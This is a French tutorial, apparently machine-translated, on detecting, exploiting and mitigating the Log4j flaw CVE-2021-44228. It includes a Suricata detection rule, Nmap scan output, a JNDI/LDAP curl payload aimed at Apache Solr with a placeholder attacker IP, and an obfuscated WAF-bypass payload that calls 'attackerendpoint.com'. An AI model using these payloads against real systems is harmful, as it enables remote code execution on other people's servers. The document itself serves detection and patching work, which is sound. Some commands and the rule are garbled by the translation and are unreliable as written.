Nous avons démontré la détection et la découverte de la récente vulnérabilité Apache Log4j CVE-2021-44228 en plus de l'exploitation, de l'atténuation et de l'application de correctifs. Nous avons également expliqué comment corriger et atténuer la vulnérabilité Log4j à l'aide des directives Apache récemment publiées. Nous avons utilisé le matériel de EssayezHackMe Log4j salle pour démontrer le Log4j sur Apache Solar.
Versions concernées : Apache Log4j2 < 2.15.0
Log4j a un impact négatif sur de nombreux fabricants et composants parmi lesquels Google et Apple. Vous pouvez trouver la liste complète ici
Obtenir les notes du certificat OSCP
Comment détecter la vulnérabilité Log4j
Log4j peut être détecté en effectuant une analyse régulière sur votre réseau qui exécute des composants utilisant Java. Il existe de nombreuses façons de détecter et de savoir si votre réseau est vulnérable à Log4j.
- En utilisant Règles Yara
- Utiliser les signatures Splunk
Vous pouvez utiliser cette requête de recherche pour rechercher toute charge utile contenant une recherche JNDI index=* ${jndi:*}
- Utiliser les règles Suricate
L'exemple est ci-dessous
alerte http any any -> $HOME_NET any (msg : « FOX-SRT – Exploit – Possible demande Apache Log4J RCE observée (CVE-2021-44228) » ; flux : établi, vers_serveur ; contenu : « ${jndi : ldap:// " ; fast_pattern : only ; flowbits : set, fox.apachelog4j.rce ; seuil : limite de type, suivi par_dst, nombre 1, secondes : priorité d'application Web : 3 ; /www.lunasec.io/docs/blog/log4j-zero-day/](http://www.lunasec.io/docs/blog/log4j-zero-day/) ; métadonnées : métadonnées CVE 2021-44228 ; créé_au 10/12/2021 ; métadonnées : ids suricata ; 21003726 ;)
- En comparant les hachages des fichiers JAR et Class vulnérables avec la liste ici
- Utiliser des scanners en ligne dans python ou Aller
- En utilisant Suite Rots
- Utilisation du moteur de script Nmap.
Un exemple d'utilisation de Nmap pour détecter Log4j est la commande ci-dessous
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org $PWD : est le répertoire dans lequel vous stockez les scripts nmapIl est important de lire le dnslog.cn après avoir terminé l’analyse pour déterminer la vulnérabilité. Un exemple de sortie est ci-dessous grâce à Détourner
nmap -T4 -v --script=$PWD/ scanme.nmap.org Démarrage de Nmap 7.92 ( https://nmap.org ) le 15/12/2021 à 12h37 CET NSE : chargement de 5 scripts pour l'analyse. NSE : pré-analyse du script. Lancement du NSE à 12h37 NSE terminé à 12h37, 0,53 s écoulé. Résultats du script de pré-analyse : | dnslog-cn : | Domaine : 2t722h.dnslog.cn |_ Récupérer manuellement : curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php Lancement de l'analyse Ping à 12h37 Analyse scanme.nmap.org (45.33.32.156) [2 ports] Analyse Ping terminée à 12h37, 0,18 s écoulé (1 hôte au total) Lancement de la résolution DNS parallèle de 1 hôte. à 12h37 Résolution DNS parallèle terminée de 1 hôte. à 12h37, 1,18 s écoulées Lancement de l'analyse de connexion à 12h37 Analyse scanme.nmap.org (45.33.32.156) [1000 ports] Port ouvert 80/tcp découvert le 45.33.32.156 Port ouvert 53/tcp découvert le 45.33.32.156 Découverte du port ouvert 22/tcp sur 45.33.32.156 Stats : 0:00:23 écoulé ; 0 hôte terminé (1 en place), 1 en cours de Connect Scan. Synchronisation du scan de connexion : environ 56.00% terminé ; ETC : 12 : 37 (0 :00 :16 restant) Port ouvert découvert 9929/tcp le 45.33.32.156 Port ouvert découvert 31337/tcp le 45.33.32.156 Analyse de connexion terminée à 12 h 37, 37,06 s écoulés (1 000 ports au total) NSE : Analyse de script 45.33.32.156. Lancement du NSE à 12h37 NSE terminé à 12h37, rapport d'analyse Nmap écoulé 6,19 s pour scanme.nmap.org (45.33.32.156) L'hôte est actif (latence de 0,18 s). Non affiché : 995 ports TCP fermés (conn-refusé) PORT STATE SERVICE 22/tcp ouvert ssh 53/tcp ouvert domaine 80/tcp ouvert http 9929/tcp ouvert nping-echo 31337/tcp ouvert Résultats du script Elite Host : | dnslog-cn : | Liste des hôtes ayant répondu : [] | Récupérez manuellement : curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Si la liste n'est pas vide, vérifiez les hôtes car ils sont potentiellement vulnérables NSE : Script Post-scanning. Lancement du NSE à 12h37 NSE terminé à 12h37, 0,50 s écoulé. Résultats du script post-analyse : | dnslog-cn : | Liste des hôtes ayant répondu : [] | Récupérez manuellement : curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php |_ Si la liste n'est pas vide, vérifiez les hôtes car ils sont potentiellement vulnérables. Lisez les fichiers de données depuis : /usr/local/bin/ ../share/nmap Nmap terminé : 1 adresse IP (1 hôte activé) analysée en 46,11 secondes
Comment exploiter la vulnérabilité Log4j
En résumé, l'exploitation de la vulnérabilité Log4j est obtenue en faisant du problème cible un appel LDAP vers un serveur de référence LDAP de votre côté. Le serveur de référence LDAP redirigera cet appel vers un serveur Web qui doit être exécuté de votre côté et qui serveurra un exploit Java qui, une fois exécuté sur la cible, obtiendra l'accès du shell de l'attaquant sur la cible.
Vous trouverez ci-dessous les charges utiles que vous pouvez ajouter à vos requêtes http.
curl 'http://target-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://your-ip:1389/Log4j\}'
La charge utile ci-dessus en supposant que vous testez Apache Solr. Si vous testez une autre gamme de produits Apache, vous devez modifier le chemin de l'URL, mais la partie charge utile reste la même.
Comment contourner les pare-feu d'applications Web
Si vous souhaitez tester vos contrôles de sécurité existants par rapport à Log4j, vous pouvez encoder votre charge utile Log4j telle que la charge utile ci-dessous
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
Comment atténuer et corriger la vulnérabilité Log4j
L'atténuation de la vulnérabilité Log4j peut être réalisée en ajoutant deux propriétés système qui désactivent les recherches JNDI. Définissez spécifiquement les propriétés ci-dessous sur TRUE
log4j2.formatMsgNoLookups
LOG4J_FORMAT_MSG_NO_LOOKUPS
Pour corriger la vulnérabilité Log4j, mettez à jour vers la version 2.16.0. Remplacez les fichiers jar principaux par les fichiers jar existants sur votre système. Visite Page de téléchargement d'Apache pour récupérer la dernière version de Log4j.
Pour plus de détails sur ce qui précède, regardez les vidéos de présentation ci-dessous
